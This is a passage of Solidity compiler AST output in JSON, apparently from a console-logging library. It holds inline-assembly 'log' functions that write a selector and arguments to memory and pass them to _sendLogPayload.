value":"0x40"},{"kind":"number","nativeSrc":"17925:4:22","nodeType":"YulLiteral","src":"17925:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"17912:6:22","nodeType":"YulIdentifier","src":"17912:6:22"},"nativeSrc":"17912:18:22","nodeType":"YulFunctionCall","src":"17912:18:22"},"nativeSrc":"17912:18:22","nodeType":"YulExpressionStatement","src":"17912:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"17955:4:22","nodeType":"YulLiteral","src":"17955:4:22","type":"","value":"0x60"},{"name":"p0","nativeSrc":"17961:2:22","nodeType":"YulIdentifier","src":"17961:2:22"}],"functionName":{"name":"writeString","nativeSrc":"17943:11:22","nodeType":"YulIdentifier","src":"17943:11:22"},"nativeSrc":"17943:21:22","nodeType":"YulFunctionCall","src":"17943:21:22"},"nativeSrc":"17943:21:22","nodeType":"YulExpressionStatement","src":"17943:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"17989:4:22","nodeType":"YulLiteral","src":"17989:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"17995:2:22","nodeType":"YulIdentifier","src":"17995:2:22"}],"functionName":{"name":"writeString","nativeSrc":"17977:11:22","nodeType":"YulIdentifier","src":"17977:11:22"},"nativeSrc":"17977:21:22","nodeType":"YulFunctionCall","src":"17977:21:22"},"nativeSrc":"17977:21:22","nodeType":"YulExpressionStatement","src":"17977:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34174,"isOffset":false,"isSlot":false,"src":"17585:2:22","valueSize":1},{"declaration":34177,"isOffset":false,"isSlot":false,"src":"17615:2:22","valueSize":1},{"declaration":34180,"isOffset":false,"isSlot":false,"src":"17645:2:22","valueSize":1},{"declaration":34183,"isOffset":false,"isSlot":false,"src":"17675:2:22","valueSize":1},{"declaration":34186,"isOffset":false,"isSlot":false,"src":"17705:2:22","valueSize":1},{"declaration":34189,"isOffset":false,"isSlot":false,"src":"17735:2:22","valueSize":1},{"declaration":34192,"isOffset":false,"isSlot":false,"src":"17765:2:22","valueSize":1},{"declaration":34168,"isOffset":false,"isSlot":false,"src":"17961:2:22","valueSize":1},{"declaration":34170,"isOffset":false,"isSlot":false,"src":"17995:2:22","valueSize":1}],"id":34194,"nodeType":"InlineAssembly","src":"17207:801:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34196,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18033:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":34197,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18039:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":34195,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"18017:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18017:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34199,"nodeType":"ExpressionStatement","src":"18017:27:22"},{"AST":{"nativeSrc":"18063:214:22","nodeType":"YulBlock","src":"18063:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"18084:4:22","nodeType":"YulLiteral","src":"18084:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"18090:2:22","nodeType":"YulIdentifier","src":"18090:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18077:6:22","nodeType":"YulIdentifier","src":"18077:6:22"},"nativeSrc":"18077:16:22","nodeType":"YulFunctionCall","src":"18077:16:22"},"nativeSrc":"18077:16:22","nodeType":"YulExpressionStatement","src":"18077:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18113:4:22","nodeType":"YulLiteral","src":"18113:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"18119:2:22","nodeType":"YulIdentifier","src":"18119:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18106:6:22","nodeType":"YulIdentifier","src":"18106:6:22"},"nativeSrc":"18106:16:22","nodeType":"YulFunctionCall","src":"18106:16:22"},"nativeSrc":"18106:16:22","nodeType":"YulExpressionStatement","src":"18106:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18142:4:22","nodeType":"YulLiteral","src":"18142:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"18148:2:22","nodeType":"YulIdentifier","src":"18148:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18135:6:22","nodeType":"YulIdentifier","src":"18135:6:22"},"nativeSrc":"18135:16:22","nodeType":"YulFunctionCall","src":"18135:16:22"},"nativeSrc":"18135:16:22","nodeType":"YulExpressionStatement","src":"18135:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18171:4:22","nodeType":"YulLiteral","src":"18171:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"18177:2:22","nodeType":"YulIdentifier","src":"18177:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18164:6:22","nodeType":"YulIdentifier","src":"18164:6:22"},"nativeSrc":"18164:16:22","nodeType":"YulFunctionCall","src":"18164:16:22"},"nativeSrc":"18164:16:22","nodeType":"YulExpressionStatement","src":"18164:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18200:4:22","nodeType":"YulLiteral","src":"18200:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"18206:2:22","nodeType":"YulIdentifier","src":"18206:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18193:6:22","nodeType":"YulIdentifier","src":"18193:6:22"},"nativeSrc":"18193:16:22","nodeType":"YulFunctionCall","src":"18193:16:22"},"nativeSrc":"18193:16:22","nodeType":"YulExpressionStatement","src":"18193:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18229:4:22","nodeType":"YulLiteral","src":"18229:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"18235:2:22","nodeType":"YulIdentifier","src":"18235:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18222:6:22","nodeType":"YulIdentifier","src":"18222:6:22"},"nativeSrc":"18222:16:22","nodeType":"YulFunctionCall","src":"18222:16:22"},"nativeSrc":"18222:16:22","nodeType":"YulExpressionStatement","src":"18222:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18258:4:22","nodeType":"YulLiteral","src":"18258:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"18264:2:22","nodeType":"YulIdentifier","src":"18264:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18251:6:22","nodeType":"YulIdentifier","src":"18251:6:22"},"nativeSrc":"18251:16:22","nodeType":"YulFunctionCall","src":"18251:16:22"},"nativeSrc":"18251:16:22","nodeType":"YulExpressionStatement","src":"18251:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34174,"isOffset":false,"isSlot":false,"src":"18090:2:22","valueSize":1},{"declaration":34177,"isOffset":false,"isSlot":false,"src":"18119:2:22","valueSize":1},{"declaration":34180,"isOffset":false,"isSlot":false,"src":"18148:2:22","valueSize":1},{"declaration":34183,"isOffset":false,"isSlot":false,"src":"18177:2:22","valueSize":1},{"declaration":34186,"isOffset":false,"isSlot":false,"src":"18206:2:22","valueSize":1},{"declaration":34189,"isOffset":false,"isSlot":false,"src":"18235:2:22","valueSize":1},{"declaration":34192,"isOffset":false,"isSlot":false,"src":"18264:2:22","valueSize":1}],"id":34200,"nodeType":"InlineAssembly","src":"18054:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17015:3:22","parameters":{"id":34171,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34168,"mutability":"mutable","name":"p0","nameLocation":"17027:2:22","nodeType":"VariableDeclaration","scope":34202,"src":"17019:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34167,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17019:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34170,"mutability":"mutable","name":"p1","nameLocation":"17039:2:22","nodeType":"VariableDeclaration","scope":34202,"src":"17031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34169,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17018:24:22"},"returnParameters":{"id":34172,"nodeType":"ParameterList","parameters":[],"src":"17057:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34231,"nodeType":"FunctionDefinition","src":"18289:664:22","nodes":[],"body":{"id":34230,"nodeType":"Block","src":"18352:601:22","nodes":[],"statements":[{"assignments":[34212],"declarations":[{"constant":false,"id":34212,"mutability":"mutable","name":"m0","nameLocation":"18370:2:22","nodeType":"VariableDeclaration","scope":34230,"src":"18362:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34211,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18362:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34213,"nodeType":"VariableDeclarationStatement","src":"18362:10:22"},{"assignments":[34215],"declarations":[{"constant":false,"id":34215,"mutability":"mutable","name":"m1","nameLocation":"18390:2:22","nodeType":"VariableDeclaration","scope":34230,"src":"18382:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34214,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18382:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34216,"nodeType":"VariableDeclarationStatement","src":"18382:10:22"},{"assignments":[34218],"declarations":[{"constant":false,"id":34218,"mutability":"mutable","name":"m2","nameLocation":"18410:2:22","nodeType":"VariableDeclaration","scope":34230,"src":"18402:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34217,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18402:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34219,"nodeType":"VariableDeclarationStatement","src":"18402:10:22"},{"assignments":[34221],"declarations":[{"constant":false,"id":34221,"mutability":"mutable","name":"m3","nameLocation":"18430:2:22","nodeType":"VariableDeclaration","scope":34230,"src":"18422:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34220,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18422:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34222,"nodeType":"VariableDeclarationStatement","src":"18422:10:22"},{"AST":{"nativeSrc":"18451:314:22","nodeType":"YulBlock","src":"18451:314:22","statements":[{"nativeSrc":"18465:17:22","nodeType":"YulAssignment","src":"18465:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"18477:4:22","nodeType":"YulLiteral","src":"18477:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"18471:5:22","nodeType":"YulIdentifier","src":"18471:5:22"},"nativeSrc":"18471:11:22","nodeType":"YulFunctionCall","src":"18471:11:22"},"variableNames":[{"name":"m0","nativeSrc":"18465:2:22","nodeType":"YulIdentifier","src":"18465:2:22"}]},{"nativeSrc":"18495:17:22","nodeType":"YulAssignment","src":"18495:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"18507:4:22","nodeType":"YulLiteral","src":"18507:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"18501:5:22","nodeType":"YulIdentifier","src":"18501:5:22"},"nativeSrc":"18501:11:22","nodeType":"YulFunctionCall","src":"18501:11:22"},"variableNames":[{"name":"m1","nativeSrc":"18495:2:22","nodeType":"YulIdentifier","src":"18495:2:22"}]},{"nativeSrc":"18525:17:22","nodeType":"YulAssignment","src":"18525:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"18537:4:22","nodeType":"YulLiteral","src":"18537:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"18531:5:22","nodeType":"YulIdentifier","src":"18531:5:22"},"nativeSrc":"18531:11:22","nodeType":"YulFunctionCall","src":"18531:11:22"},"variableNames":[{"name":"m2","nativeSrc":"18525:2:22","nodeType":"YulIdentifier","src":"18525:2:22"}]},{"nativeSrc":"18555:17:22","nodeType":"YulAssignment","src":"18555:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"18567:4:22","nodeType":"YulLiteral","src":"18567:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"18561:5:22","nodeType":"YulIdentifier","src":"18561:5:22"},"nativeSrc":"18561:11:22","nodeType":"YulFunctionCall","src":"18561:11:22"},"variableNames":[{"name":"m3","nativeSrc":"18555:2:22","nodeType":"YulIdentifier","src":"18555:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18651:4:22","nodeType":"YulLiteral","src":"18651:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"18657:10:22","nodeType":"YulLiteral","src":"18657:10:22","type":"","value":"0x018c84c2"}],"functionName":{"name":"mstore","nativeSrc":"18644:6:22","nodeType":"YulIdentifier","src":"18644:6:22"},"nativeSrc":"18644:24:22","nodeType":"YulFunctionCall","src":"18644:24:22"},"nativeSrc":"18644:24:22","nodeType":"YulExpressionStatement","src":"18644:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18688:4:22","nodeType":"YulLiteral","src":"18688:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"18694:2:22","nodeType":"YulIdentifier","src":"18694:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18681:6:22","nodeType":"YulIdentifier","src":"18681:6:22"},"nativeSrc":"18681:16:22","nodeType":"YulFunctionCall","src":"18681:16:22"},"nativeSrc":"18681:16:22","nodeType":"YulExpressionStatement","src":"18681:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18717:4:22","nodeType":"YulLiteral","src":"18717:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"18723:2:22","nodeType":"YulIdentifier","src":"18723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18710:6:22","nodeType":"YulIdentifier","src":"18710:6:22"},"nativeSrc":"18710:16:22","nodeType":"YulFunctionCall","src":"18710:16:22"},"nativeSrc":"18710:16:22","nodeType":"YulExpressionStatement","src":"18710:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18746:4:22","nodeType":"YulLiteral","src":"18746:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"18752:2:22","nodeType":"YulIdentifier","src":"18752:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18739:6:22","nodeType":"YulIdentifier","src":"18739:6:22"},"nativeSrc":"18739:16:22","nodeType":"YulFunctionCall","src":"18739:16:22"},"nativeSrc":"18739:16:22","nodeType":"YulExpressionStatement","src":"18739:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34212,"isOffset":false,"isSlot":false,"src":"18465:2:22","valueSize":1},{"declaration":34215,"isOffset":false,"isSlot":false,"src":"18495:2:22","valueSize":1},{"declaration":34218,"isOffset":false,"isSlot":false,"src":"18525:2:22","valueSize":1},{"declaration":34221,"isOffset":false,"isSlot":false,"src":"18555:2:22","valueSize":1},{"declaration":34204,"isOffset":false,"isSlot":false,"src":"18694:2:22","valueSize":1},{"declaration":34206,"isOffset":false,"isSlot":false,"src":"18723:2:22","valueSize":1},{"declaration":34208,"isOffset":false,"isSlot":false,"src":"18752:2:22","valueSize":1}],"id":34223,"nodeType":"InlineAssembly","src":"18442:323:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34225,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18790:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34226,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18796:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34224,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"18774:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34227,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18774:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34228,"nodeType":"ExpressionStatement","src":"18774:27:22"},{"AST":{"nativeSrc":"18820:127:22","nodeType":"YulBlock","src":"18820:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"18841:4:22","nodeType":"YulLiteral","src":"18841:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"18847:2:22","nodeType":"YulIdentifier","src":"18847:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18834:6:22","nodeType":"YulIdentifier","src":"18834:6:22"},"nativeSrc":"18834:16:22","nodeType":"YulFunctionCall","src":"18834:16:22"},"nativeSrc":"18834:16:22","nodeType":"YulExpressionStatement","src":"18834:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18870:4:22","nodeType":"YulLiteral","src":"18870:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"18876:2:22","nodeType":"YulIdentifier","src":"18876:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18863:6:22","nodeType":"YulIdentifier","src":"18863:6:22"},"nativeSrc":"18863:16:22","nodeType":"YulFunctionCall","src":"18863:16:22"},"nativeSrc":"18863:16:22","nodeType":"YulExpressionStatement","src":"18863:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18899:4:22","nodeType":"YulLiteral","src":"18899:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"18905:2:22","nodeType":"YulIdentifier","src":"18905:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18892:6:22","nodeType":"YulIdentifier","src":"18892:6:22"},"nativeSrc":"18892:16:22","nodeType":"YulFunctionCall","src":"18892:16:22"},"nativeSrc":"18892:16:22","nodeType":"YulExpressionStatement","src":"18892:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"18928:4:22","nodeType":"YulLiteral","src":"18928:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"18934:2:22","nodeType":"YulIdentifier","src":"18934:2:22"}],"functionName":{"name":"mstore","nativeSrc":"18921:6:22","nodeType":"YulIdentifier","src":"18921:6:22"},"nativeSrc":"18921:16:22","nodeType":"YulFunctionCall","src":"18921:16:22"},"nativeSrc":"18921:16:22","nodeType":"YulExpressionStatement","src":"18921:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34212,"isOffset":false,"isSlot":false,"src":"18847:2:22","valueSize":1},{"declaration":34215,"isOffset":false,"isSlot":false,"src":"18876:2:22","valueSize":1},{"declaration":34218,"isOffset":false,"isSlot":false,"src":"18905:2:22","valueSize":1},{"declaration":34221,"isOffset":false,"isSlot":false,"src":"18934:2:22","valueSize":1}],"id":34229,"nodeType":"InlineAssembly","src":"18811:136:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18298:3:22","parameters":{"id":34209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34204,"mutability":"mutable","name":"p0","nameLocation":"18310:2:22","nodeType":"VariableDeclaration","scope":34231,"src":"18302:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34203,"name":"address","nodeType":"ElementaryTypeName","src":"18302:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34206,"mutability":"mutable","name":"p1","nameLocation":"18322:2:22","nodeType":"VariableDeclaration","scope":34231,"src":"18314:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34205,"name":"address","nodeType":"ElementaryTypeName","src":"18314:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34208,"mutability":"mutable","name":"p2","nameLocation":"18334:2:22","nodeType":"VariableDeclaration","scope":34231,"src":"18326:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34207,"name":"address","nodeType":"ElementaryTypeName","src":"18326:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18301:36:22"},"returnParameters":{"id":34210,"nodeType":"ParameterList","parameters":[],"src":"18352:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34260,"nodeType":"FunctionDefinition","src":"18959:658:22","nodes":[],"body":{"id":34259,"nodeType":"Block","src":"19019:598:22","nodes":[],"statements":[{"assignments":[34241],"declarations":[{"constant":false,"id":34241,"mutability":"mutable","name":"m0","nameLocation":"19037:2:22","nodeType":"VariableDeclaration","scope":34259,"src":"19029:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34240,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19029:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34242,"nodeType":"VariableDeclarationStatement","src":"19029:10:22"},{"assignments":[34244],"declarations":[{"constant":false,"id":34244,"mutability":"mutable","name":"m1","nameLocation":"19057:2:22","nodeType":"VariableDeclaration","scope":34259,"src":"19049:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34243,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19049:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34245,"nodeType":"VariableDeclarationStatement","src":"19049:10:22"},{"assignments":[34247],"declarations":[{"constant":false,"id":34247,"mutability":"mutable","name":"m2","nameLocation":"19077:2:22","nodeType":"VariableDeclaration","scope":34259,"src":"19069:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34246,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19069:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34248,"nodeType":"VariableDeclarationStatement","src":"19069:10:22"},{"assignments":[34250],"declarations":[{"constant":false,"id":34250,"mutability":"mutable","name":"m3","nameLocation":"19097:2:22","nodeType":"VariableDeclaration","scope":34259,"src":"19089:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34249,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19089:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34251,"nodeType":"VariableDeclarationStatement","src":"19089:10:22"},{"AST":{"nativeSrc":"19118:311:22","nodeType":"YulBlock","src":"19118:311:22","statements":[{"nativeSrc":"19132:17:22","nodeType":"YulAssignment","src":"19132:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19144:4:22","nodeType":"YulLiteral","src":"19144:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"19138:5:22","nodeType":"YulIdentifier","src":"19138:5:22"},"nativeSrc":"19138:11:22","nodeType":"YulFunctionCall","src":"19138:11:22"},"variableNames":[{"name":"m0","nativeSrc":"19132:2:22","nodeType":"YulIdentifier","src":"19132:2:22"}]},{"nativeSrc":"19162:17:22","nodeType":"YulAssignment","src":"19162:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19174:4:22","nodeType":"YulLiteral","src":"19174:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"19168:5:22","nodeType":"YulIdentifier","src":"19168:5:22"},"nativeSrc":"19168:11:22","nodeType":"YulFunctionCall","src":"19168:11:22"},"variableNames":[{"name":"m1","nativeSrc":"19162:2:22","nodeType":"YulIdentifier","src":"19162:2:22"}]},{"nativeSrc":"19192:17:22","nodeType":"YulAssignment","src":"19192:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19204:4:22","nodeType":"YulLiteral","src":"19204:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"19198:5:22","nodeType":"YulIdentifier","src":"19198:5:22"},"nativeSrc":"19198:11:22","nodeType":"YulFunctionCall","src":"19198:11:22"},"variableNames":[{"name":"m2","nativeSrc":"19192:2:22","nodeType":"YulIdentifier","src":"19192:2:22"}]},{"nativeSrc":"19222:17:22","nodeType":"YulAssignment","src":"19222:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"19234:4:22","nodeType":"YulLiteral","src":"19234:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"19228:5:22","nodeType":"YulIdentifier","src":"19228:5:22"},"nativeSrc":"19228:11:22","nodeType":"YulFunctionCall","src":"19228:11:22"},"variableNames":[{"name":"m3","nativeSrc":"19222:2:22","nodeType":"YulIdentifier","src":"19222:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19315:4:22","nodeType":"YulLiteral","src":"19315:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"19321:10:22","nodeType":"YulLiteral","src":"19321:10:22","type":"","value":"0xf2a66286"}],"functionName":{"name":"mstore","nativeSrc":"19308:6:22","nodeType":"YulIdentifier","src":"19308:6:22"},"nativeSrc":"19308:24:22","nodeType":"YulFunctionCall","src":"19308:24:22"},"nativeSrc":"19308:24:22","nodeType":"YulExpressionStatement","src":"19308:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19352:4:22","nodeType":"YulLiteral","src":"19352:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"19358:2:22","nodeType":"YulIdentifier","src":"19358:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19345:6:22","nodeType":"YulIdentifier","src":"19345:6:22"},"nativeSrc":"19345:16:22","nodeType":"YulFunctionCall","src":"19345:16:22"},"nativeSrc":"19345:16:22","nodeType":"YulExpressionStatement","src":"19345:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19381:4:22","nodeType":"YulLiteral","src":"19381:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"19387:2:22","nodeType":"YulIdentifier","src":"19387:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19374:6:22","nodeType":"YulIdentifier","src":"19374:6:22"},"nativeSrc":"19374:16:22","nodeType":"YulFunctionCall","src":"19374:16:22"},"nativeSrc":"19374:16:22","nodeType":"YulExpressionStatement","src":"19374:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"19410:4:22","nodeType":"YulLiteral","src":"19410:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"19416:2:22","nodeType":"YulIdentifier","src":"19416:2:22"}],"functionName":{"name":"mstore","nativeSrc":"19403:6:22","nodeType":"YulIdentifier","src":"19403:6:22"},"nativeSrc":"19403:16:22","nodeType":"YulFunctionCall","src":"19403:16:22"},"nativeSrc":"19403:16:22","nodeType":"YulExpressionStatement","src":"19403:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34241,"isOffset":false,"isSlot":false,"src":"19132:2:22","valueSize":1},{"declaration":34244,"isOffset":false,"isSlot":false,"src":"19162:2:22","valueSize":1},{"declaration":34247,"isOffset":false,"isSlot":false,"src":"19192:2:22","valueSize":1},{"declaration":34250,"isOffset":false,"isSlot":false,"src":"19222:2:22","valueSize":1},{"declaration":34233,"isOffset":false,"isSlot":false,"src":"19358:2:22","valueSize":1},{"declaration":34235,"isOffset":false,"isSlot":false,"src":"19387:2:22","valueSize":1},{"declaration":34237,"isOffset":false,"isSlot":false,"src":"19416:2:22","valueSize":1}],"id":34252,"nodeType":"InlineAssembly","src":"19109:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19454:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 